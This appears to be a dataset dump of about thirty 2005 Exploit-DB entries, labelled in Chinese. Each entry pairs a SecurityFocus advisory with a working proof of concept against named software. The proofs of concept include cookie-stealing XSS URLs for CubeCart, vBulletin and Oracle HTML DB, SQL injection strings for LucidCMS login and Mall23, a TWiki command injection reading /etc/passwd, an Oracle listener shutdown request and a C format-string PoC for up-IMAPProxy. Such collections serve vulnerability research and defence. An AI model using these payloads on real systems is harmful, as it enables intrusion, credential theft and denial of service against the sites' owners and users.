QLWD/code_shield huggingface dataset:
标题: Oracle 9 - XML DB Cross-Site Scripting EDB-ID: 26332 CVE: 2005-3204 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-10-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15034/info

Oracle XML DB is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue was originally described and addressed in Oracle Critical Patch Update - April 2005, BID 13139 (Oracle Multiple Vulnerabilities). Due to the availability of more information, this issue is being assigned a separate BID. 

http://user:host@example.com:8080/oradb<script>alert('Hi')</script> URL: https://www.exploit-db.com/exploits/26332
标题: Aenovo - '/incs/searchdisplay.asp?strSQL' SQL Injection EDB-ID: 26334 CVE: 2005-3208 类型: WEBAPPS 平台: ASP 发布日期: 2005-10-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15036/info
 
Aenovo, aeNovoShop and aeNovoWYSI are prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

AeNovo :Lists username and password of administrators
http://www.example.com/search.asp?strSQL=[SQL Injection] URL: https://www.exploit-db.com/exploits/26334
标题: Oracle HTML DB 1.5/1.6 - 'wwv_flow.accept?p_t02' Cross-Site Scripting EDB-ID: 26330 CVE: 2005-3202 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-10-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15031/info
 
Oracle HTML DB is prone to cross-site scripting vulnerabilities.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site.
 
An attacker can leverage these issues to execute SQL statements in the context of an affected user as well.
 
These issues was originally described and addressed in Oracle Critical Patch Update - April 2005, BID 13139 (Oracle Multiple Vulnerabilities). Due to the availability of more information, these issues are being assigned a separate BID. 

http://www.example.com/pls/otn/wwv_flow.accept?p_flow_id=4500&p_flow_step_id=3&p_instance=428576542275032284&p_page_submission_id=3334304&p_request=RUN&p_arg_names=
4407099841&p_t01=KORNBRUST&p_arg_names=998876535505&p_t02=select sysdate||'alert("'||sysdate||'");' from
dual%3B&p_arg_names=57198154917561018&p_t03=&p_arg_names=50923815163860037&p_t04=&p_arg_names=64882231271599126&p_t05=&p_arg_names=57064518975385648&p_t06=&p_arg_name
s=57356416829253124&p_t07=&p_arg_names=30322022623394012&p_t08=&p_arg_names=106590927281022368&p_t09=&p_md5_checksum= URL: https://www.exploit-db.com/exploits/26330
标题: Oracle HTML DB 1.5/1.6 - 'f?p=' Cross-Site Scripting EDB-ID: 26329 CVE: 2005-3202 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-10-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15031/info

Oracle HTML DB is prone to cross-site scripting vulnerabilities.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site.

An attacker can leverage these issues to execute SQL statements in the context of an affected user as well.

These issues was originally described and addressed in Oracle Critical Patch Update - April 2005, BID 13139 (Oracle Multiple Vulnerabilities). Due to the availability of more information, these issues are being assigned a separate BID. 

http://www.example.com/pls/otn/f?p=4500:alert(document.cookie);59:3239664590547916206 URL: https://www.exploit-db.com/exploits/26329
标题: Oracle Forms - Servlet TLS Listener Remote Denial of Service EDB-ID: 26336 CVE: 2005-3207 类型: DOS 平台: MULTIPLE 发布日期: 2005-10-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15039/info

Oracle Forms is susceptible to a vulnerability that allows remote attackers to stop the TNS Listener service, denying further database service to legitimate users.

By issuing a specific HTTP request, remote attackers may cause the affected application to stop the TNS Listener.

This issue was reported in Oracle Forms versions prior to July 2005.

This issue was originally described and addressed in Oracle Critical Patch Update - July 2005, BID 14238 (Oracle July Security Update Multiple Vulnerabilities). Due to the availability of more information, this issue is being assigned a separate BID. 

http://www.example.com:8888/forms90/f90servlet?form=test.fmx&userid=SCOTT/TIGER@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=server)(PORT=1521)))(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)))&buffer_records=NO&debug_messages=NO&array=YES&query_only=NO&quiet=NO&RENDER=YES URL: https://www.exploit-db.com/exploits/26336
标题: Up-IMAPProxy 1.2.3/1.2.4 - Multiple Unspecified Remote Format String Vulnerabilities EDB-ID: 26340 CVE: 2005-2661 类型: DOS 平台: LINUX 发布日期: 2005-10-10 漏洞利用脚本: // source: https://www.securityfocus.com/bid/15048/info

up-IMAPProxy is reported prone to multiple unspecified remote format-string vulnerabilities.

Successful exploitation could cause the application to crash or to execute arbitrary code in the context of the application.

Specific details of these issues are not currently known. This BID will be updated when further information becomes available. 

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>

#define BANNER "AAAAAAAAAA%x%x%x%x%x%n%n%n\r\n\r\n"

int main ( int argc, char *argv[] )
{
struct sockaddr_in addr, cl_addr;
int sock, cl_sock, addr_size;
char *Iaddr;
socklen_t l;

printf("Imapproxy <= 1.2.4 PoC Exploit\n");

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

addr.sin_family = AF_INET;
addr.sin_port = htons(143);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");

bind(sock, (struct sockaddr*)&addr, sizeof(addr));
listen(sock, 5);

addr_size = sizeof(addr);

while (1) 
{
 cl_sock = accept(sock, (struct sockaddr*)&cl_addr, &l);
 Iaddr = inet_ntoa(cl_addr.sin_addr);
 send(cl_sock, BANNER, strlen(BANNER), 0);
 printf("IP: %s\n", Iaddr);
}

return 0;

} URL: https://www.exploit-db.com/exploits/26340
标题: Mozilla Firefox 1.0.6/1.0.7 - iFrame Handling Denial of Service EDB-ID: 26325 CVE: 2005-4720 类型: DOS 平台: MULTIPLE 发布日期: 2005-10-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15015/info

Mozilla Firefox is prone to a remote denial of service vulnerability.

The vulnerability presents itself when an affected browser handles a specially crafted IFRAME.

A successful attack may result in crashing the application, or consuming excessive CPU and memory resources of computers running the affected application.

It should be noted that this issue was reported to affect Firefox 1.0.6 and 1.0.7 running on Linux. Other versions running on different platforms may be vulnerable as well.

IFRAME WIDTH=33333333 URL: https://www.exploit-db.com/exploits/26325
标题: Utopia News Pro 1.1.3 - 'footer.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26328 CVE: 2005-3200 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15027/info
 
Utopia News Pro is prone to multiple cross-site scripting vulnerabilities.
These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[path]/footer.php?version=<script>alert(document.cookie)</script>
http://www.example.com/[path]/footer.php?query_count=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26328
标题: Utopia News Pro 1.1.3 - 'header.php?sitetitle' Cross-Site Scripting EDB-ID: 26327 CVE: 2005-3200 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15027/info

Utopia News Pro is prone to multiple cross-site scripting vulnerabilities.
These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[path]/header.php?sitetitle=</title><script>alert(document.cookie)</script><!-- URL: https://www.exploit-db.com/exploits/26327
标题: IceWarp Web Mail 5.5.1 - 'calendar_m.html?createdataCX' Cross-Site Scripting EDB-ID: 26310 CVE: 2005-3131 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/14980/info
  
IceWarp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com:32000/mail/calendar_m.html?schedule=1&print=1&createdataCX=[xss_here] URL: https://www.exploit-db.com/exploits/26310
标题: IceWarp Web Mail 5.5.1 - 'calendar_d.html?createdataCX' Cross-Site Scripting EDB-ID: 26309 CVE: 2005-3131 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/14980/info
 
IceWarp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com:32000/mail/calendar_d.html?schedule=1&print=1&createdataCX=[xss_here] URL: https://www.exploit-db.com/exploits/26309
标题: TellMe 1.2 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26324 CVE: 2005-4698 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15012/info

TellMe is prone to multiple cross-site scripting vulnerabilities. This is due to a lack of proper sanitization of user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://[host]/tellme/index.php?q_Host=<iframe> src=http://whatismyip.com></iframe> URL: https://www.exploit-db.com/exploits/26324
标题: IceWarp Web Mail 5.5.1 - 'calendar_w.html?createdataCX' Cross-Site Scripting EDB-ID: 26311 CVE: 2005-3131 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/14980/info
   
IceWarp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com:32000/mail/calendar_w.html?schedule=1&print=1&createdataCX=[xss_here] URL: https://www.exploit-db.com/exploits/26311
标题: Merak Mail Server 8.2.4 r - Arbitrary File Deletion EDB-ID: 26313 CVE: 2005-3133 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/14988/info

Merak Mail Server is affected by an arbitrary file deletion vulnerability. This issue arises due to an input validation error allowing an attacker to delete files in the context of the Web server running the application.

An attacker can exploit this issue to cause a denial of service condition due to data corruption.

Merak Mail Server version 8.2.4r is affected by this vulnerability. 

http://www.example.com:32000/mail/logout.html?id=[relative path]
http://www.example.com:32000/mail/logout.html?id=[relative path]%00blabla URL: https://www.exploit-db.com/exploits/26313
标题: LucidCMS 2.0 - Login SQL Injection EDB-ID: 26307 CVE: 2005-3130 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/14976/info

lucidCMS is prone to to an SQL injection vulnerability.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Ultimately an attacker could exploit this vulnerability to gain administrative privileges. This could facilitate a compromise of the underlying system; other attacks are also possible.

The following proof of concept demonstrates data to be entered into the login and password fields of the login page:

login: 'UNION(SELECT'1','admin','admin','FAKE@example.com','d41d8cd98f00b204e9800998ecf8427e','1')/*
pass: [nothing] URL: https://www.exploit-db.com/exploits/26307
标题: TWiki TWikiUsers - INCLUDE Function Arbitrary Command Execution EDB-ID: 26302 CVE: 2005-2877 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/14960/info

A remote command execution vulnerability affects the application.

The revision control function of the TWikiUsers script uses the backtick shell metacharacter to construct a command line. An attacker may use a specially crafted URI to execute arbitrary commands through the shell.

This attack would occur in the context of the vulnerable application and can facilitate unauthorized remote access. 

%INCLUDE{ "Main.TWikiUsers" rev="2|less /etc/passwd" }% URL: https://www.exploit-db.com/exploits/26302
标题: IceWarp Web Mail 5.5.1 - 'blank.html?id' Cross-Site Scripting EDB-ID: 26308 CVE: 2005-3131 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/14980/info

IceWarp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com:32000/mail/blank.html?id=[xss_here] URL: https://www.exploit-db.com/exploits/26308
标题: CubeCart 3.0.3 - 'cart.php?redir' Cross-Site Scripting EDB-ID: 26304 CVE: 2005-3152 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/14962/info
 
CubeCart is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/cc3/cart.php?act=reg&redir=L3NpdGUvZGVtby9jYzMvaW5kZXgucGhwP3NlYXJjaFN0cj0lMjIlM0UlM0NzY3JpcHQlM0VhbGVydCUyOCUyOSUzQyUyRnNjcmlwdCUzRSZh
bXA7YWN0PXZpZXdDYXQmYW1wO1N1Ym1pdD1Hbw==[XSS-CODE]
http://www.example.com/cc3/cart.php?act=reg&redir=[XSS-CODE] URL: https://www.exploit-db.com/exploits/26304
标题: CMS Made Simple 0.10 - 'index.php' Cross-Site Scripting EDB-ID: 26298 CVE: 2005-3083 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/14937/info

CMS Made Simple is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue is reported to affect CMS Made Simple version 0.10; other versions may also be vulnerable. 

http://www.example.com/index.php?page=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/26298
标题: LucidCMS 2.0 - 'index.php' Cross-Site Scripting EDB-ID: 26300 CVE: 2005-3127 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/14951/info

lucidCMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[cms]/index.php?<script>alert(document.cookie);</script>
http://www.example.com/[cms]/?<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/26300
标题: SquirrelMail 1.4.2 Address Add Plugin - 'add.php' Cross-Site Scripting EDB-ID: 26305 CVE: 2005-3128 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/14973/info

SquirrelMail Address Add Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/squirrelmail_root_dir/plugins/address_add/add.php?first=HOVER%20ME!%22%20onMouseOver=%22alert('foo'); URL: https://www.exploit-db.com/exploits/26305
标题: Novell Groupwise Client 6.5.3 - Local Integer Overflow EDB-ID: 26301 CVE: 2005-2804 类型: DOS 平台: WINDOWS 发布日期: 2005-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/14952/info

Novell GroupWise Client is prone to a local integer overflow vulnerability.

The attacker may leverage this issue to corrupt process memory, which may lead to a crash or arbitrary code execution. A complete compromise of the affected system may be possible.

GroupWise 6.5.3 is reported to be vulnerable. It is possible that other versions are affected as well. 

The following value is sufficient to trigger this issue:
11111111111111111111111111111111 URL: https://www.exploit-db.com/exploits/26301
标题: CubeCart 3.0.3 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26303 CVE: 2005-3152 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/14962/info

CubeCart is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/cc3/index.php?searchStr=%3D%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&act=viewCat&Submit=Go
http://www.example.com/cc3/index.php?act=login&redir=L3NpdGUvZGVtby9jYzMvaW5kZXgucGhwP2FjdD12aWV3RG9jJmFtcDtkb2NJZD0x[XSS-CODE] URL: https://www.exploit-db.com/exploits/26303
标题: Microsoft Internet Explorer 5.2.3 for Mac OS - Denial of Service EDB-ID: 26292 CVE: 2005-3077 类型: DOS 平台: OSX 发布日期: 2005-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14899/info

Microsoft Internet Explorer for Mac OS is prone to a denial of service vulnerability. This issue occurs when Internet Explorer attempts to render a Web page with malformed content.

This vulnerability exists in Internet Explorer 5.2.3 for Mac OS. 

<HTML> <HEAD>
<TABLE
><BGSOUND
about:file"" SRC=about:""
> URL: https://www.exploit-db.com/exploits/26292
标题: Mozilla Browser/Firefox - Arbitrary Command Execution EDB-ID: 26288 CVE: 2005-2968 类型: REMOTE 平台: LINUX 发布日期: 2005-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/14888/info

Mozilla Browser/Firefox are affected by an arbitrary command-execution vulnerability.

This attack would occur in the context of the user running the vulnerable application and may facilitate unauthorized remote access.

Mozilla Firefox 1.0.6 running on UNIX-based platforms is reportedly vulnerable. Other versions and applications employing Firefox functionality may be vulnerable as well.

Mozilla Browser 1.7.x versions and Thunderbird 1.x versions are also vulnerable to this issue. 

http://local\`find\`host URL: https://www.exploit-db.com/exploits/26288
标题: Mall23 - 'AddItem.asp' SQL Injection EDB-ID: 26291 CVE: 2005-3043 类型: WEBAPPS 平台: ASP 发布日期: 2005-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/14898/info

Mall23 is prone to an SQL injection vulnerability. This is due to a lack of proper sanitization of user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

<form action="http://www.example.com/m23Basket/AddItem.asp?idProduct=6" method="POST">
<input type="hidden" name="idOption_Dropdown_2" value="'[SQL INJECTION]">
<input type="Submit" name="submit" value="Test Exploit">
</form> URL: https://www.exploit-db.com/exploits/26291
标题: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/language.php?goto' Cross-Site Scripting EDB-ID: 26281 CVE: 2005-3020 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/14874/info
   
vBulletin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/admincp/language.php?do=rebuild&goto=[XSS] URL: https://www.exploit-db.com/exploits/26281
标题: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/template.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26283 CVE: 2005-3020 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/14874/info
     
vBulletin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/admincp/template.php?do=colorconverter&hex=[XSS]
http://www.example.com/admincp/template.php?do=colorconverter&rgb=[XSS]
http://www.example.com/admincp/template.php?do=modify&expandset=[XSS] URL: https://www.exploit-db.com/exploits/26283